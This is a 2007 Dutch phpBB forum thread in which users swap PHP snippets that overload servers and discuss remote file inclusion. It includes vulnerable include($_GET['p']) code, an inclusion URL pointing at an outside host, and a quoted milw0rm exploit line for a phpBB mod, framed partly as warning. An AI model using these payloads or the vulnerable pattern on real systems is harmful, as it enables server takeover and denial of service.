Pagina 1 van 4

Scripts en veiligheid

Geplaatst: 23 apr 2007, 18:19
door Salomon
Wil iemand z'n PHP server laten crashen?

Code: Selecteer alles

function a() { a(); } a();

Geplaatst: 23 apr 2007, 19:13
door ElbertF
Haha waarom doe je dat ook. :)

Wat dacht je van deze..

Code: Selecteer alles

for ( $i = 0; $i == 0; );

Geplaatst: 23 apr 2007, 19:23
door Salomon
Zelfde effect :P
Weet iemand een onbeveiligde pagina die gewoon $_GET['p'] included, zonder case oid?
(pag.php?p=http://193.84.187.29/0jgwq7/documents/lol.txt)

Geplaatst: 23 apr 2007, 19:24
door Paul
toch vink deze leuker:

Code: Selecteer alles

$sql = 'SELECT user_id FROM . ' USERS_TABLE;
$result = $db->sql_query($sql);

while ($result = $db->sql_query($sql))
{
var_dump($row);
}
:P

Geplaatst: 23 apr 2007, 19:37
door Salomon
Nja, komt allemaal op hetzelfde neer: Server wordt beetje (veel) belast :P

Geplaatst: 23 apr 2007, 19:43
door ElbertF
Salomon schreef:Weet iemand een onbeveiligde pagina die gewoon $_GET['p'] included, zonder case oid?
(pag.php?p=http://193.84.187.29/0jgwq7/documents/lol.txt)
Wat bedoel je :?:

Geplaatst: 23 apr 2007, 19:56
door Salomon
<?php
include($_GET['p'];
?>
En als ik dan mijn bestand include :P

Geplaatst: 23 apr 2007, 20:05
door Bas
paul schreef:toch vink deze leuker:

Code: Selecteer alles

$sql = 'SELECT user_id FROM . ' USERS_TABLE;
$result = $db->sql_query($sql);

while ($result = $db->sql_query($sql))
{
var_dump($row);
}
:P
Jep, die zou je MySQL-server ook crashen... :)

Geplaatst: 23 apr 2007, 20:31
door ElbertF
Salomon schreef:<?php
include($_GET['p'];
?>
En als ik dan mijn bestand include :P
Je wilt via GET een externe pagina inladen? Je kan geen PHP scripts parsen vanaf een andere server, dit kan wel:

Code: Selecteer alles

<?php
echo get_file_contents($_GET['p']);
?>

Geplaatst: 23 apr 2007, 20:45
door Paul
Bas schreef:
paul schreef:toch vink deze leuker:

Code: Selecteer alles

$sql = 'SELECT user_id FROM . ' USERS_TABLE;
$result = $db->sql_query($sql);

while ($result = $db->sql_query($sql))
{
var_dump($row);
}
:P
Jep, die zou je MySQL-server ook crashen... :)
Nha, mijn mysql server houd het wel een 60 seconden vol, daarna exit php :P

Met 68288 querys in ruim 100 seconde heeft mijn mysql server geen problem ;)

Geplaatst: 24 apr 2007, 07:00
door Salomon
ElbertF schreef:
Salomon schreef:<?php
include($_GET['p'];
?>
En als ik dan mijn bestand include :P
Je wilt via GET een externe pagina inladen? Je kan geen PHP scripts parsen vanaf een andere server, dit kan wel:

Code: Selecteer alles

<?php
echo get_file_contents($_GET['p']);
?>
Ik had gelezen dat het wel kon, als een bepaalde optie aanstaat (uitzetten dus :P), op phpfreakz (web programeurs hacking guide)

Geplaatst: 24 apr 2007, 09:39
door ElbertF
Lijkt me nogal logisch dat het niet kan, anders zou ik bijv. jouw config.php kunnen inladen? Dit kan alleen als er op jouw server geen PHP geparsed wordt.

Geplaatst: 24 apr 2007, 09:44
door Salomon
Kijk eens naar phpBB. Die gebruikt extension.inc
Wat staat daar in? Juist, php code. Kan je die gebruiken in de rest van het script? Ja. Maar: het wordt niet geparsed.
Het gaat php dus niet om de extensie, maar om de inhoud. Op het moment dat je een txt bestand hebt, waar je php code inzet, wordt dat niet geparsed. Op het moment dat je het included, wel.
Ga het eens proberen!

Voorbeeld: http://www.probleemoppc.com/test/test.php
Onderaan zie je de bron :P

Geplaatst: 24 apr 2007, 09:50
door ElbertF
Je kan geen externe bestanden includen. Maar met de eval() functie kun je wel code parsen uit een extern bestand, in combinatie met bijv. get_file_contents(). Het bestand mag inderdaad geen PHP extentie hebben.

http://php.net/eval

Geplaatst: 24 apr 2007, 09:50
door Salomon
Zie bericht hierboven ^^

Geplaatst: 24 apr 2007, 09:54
door ElbertF
Ah, ik lees dit net op php.net:
Als de "URL fopen wrappers" zijn ingeschakeld (in de default configuratie is dit het gevel), dan kun je een file ook include()n met een URL, in plaats van een lokale path naam.
Dus dan heb je gelijk. :bier:

Geplaatst: 24 apr 2007, 09:55
door Salomon
ElbertF schreef:Je kan geen externe bestanden includen. Maar met de eval() functie kun je wel code parsen uit een extern bestand, in combinatie met bijv. get_file_contents(). Het bestand mag inderdaad geen PHP extentie hebben.

http://php.net/eval
Nooit gehoord van get_file_contents, wel van file_get_contents :P

(Jongen van twaalf *dist* de beheerder van phpBB.nl 2 keer in 5 minuten :-))
*dist* = moderne spreektaal

Geplaatst: 24 apr 2007, 09:56
door ElbertF
Dat is een php7 functie waar je nooit van hebt gehoord. :o

Geplaatst: 24 apr 2007, 09:58
door Salomon
Smoesjes...
We zijn nog niet eens bij php6, laat staan php7.
Oja, zie vorige post:
(Jongen van twaalf *dist* de beheerder van phpBB.nl 2 keer in 5 minuten )
*dist* = moderne spreektaal
Sowieso, dan kan je het nu nog niet gebruiken, ALS het al zo zou zijn :P

Geplaatst: 24 apr 2007, 10:18
door Paul
Include is zowiezo erg gevaarlijk. Veel exploit onstaan atm door register globals aan, en dan in een mod geen check op IN_PHPBB, en daarna een include met $phpbb_root_path als eerst. daardoor kan je de complete controle krijgen over alle files van die user ;).

Voorbeeld:(heb de eerste mod uit het lijstje van milw0rm gepakt)

Code: Selecteer alles

Vulnerable in MOD_forum_fields_parse.php: include($phpbb_root_path . 'MOD_forum_fields_default.php');

#$phpbb_root_path is not declared!



[+]Exploit: http://[target]/[module_path]/MOD_forum_fields_parse.php?phpbb_root_path=FILE  
Dit is een ZEER gevaarlijk soort exploit, wat regelmatig voorkomt.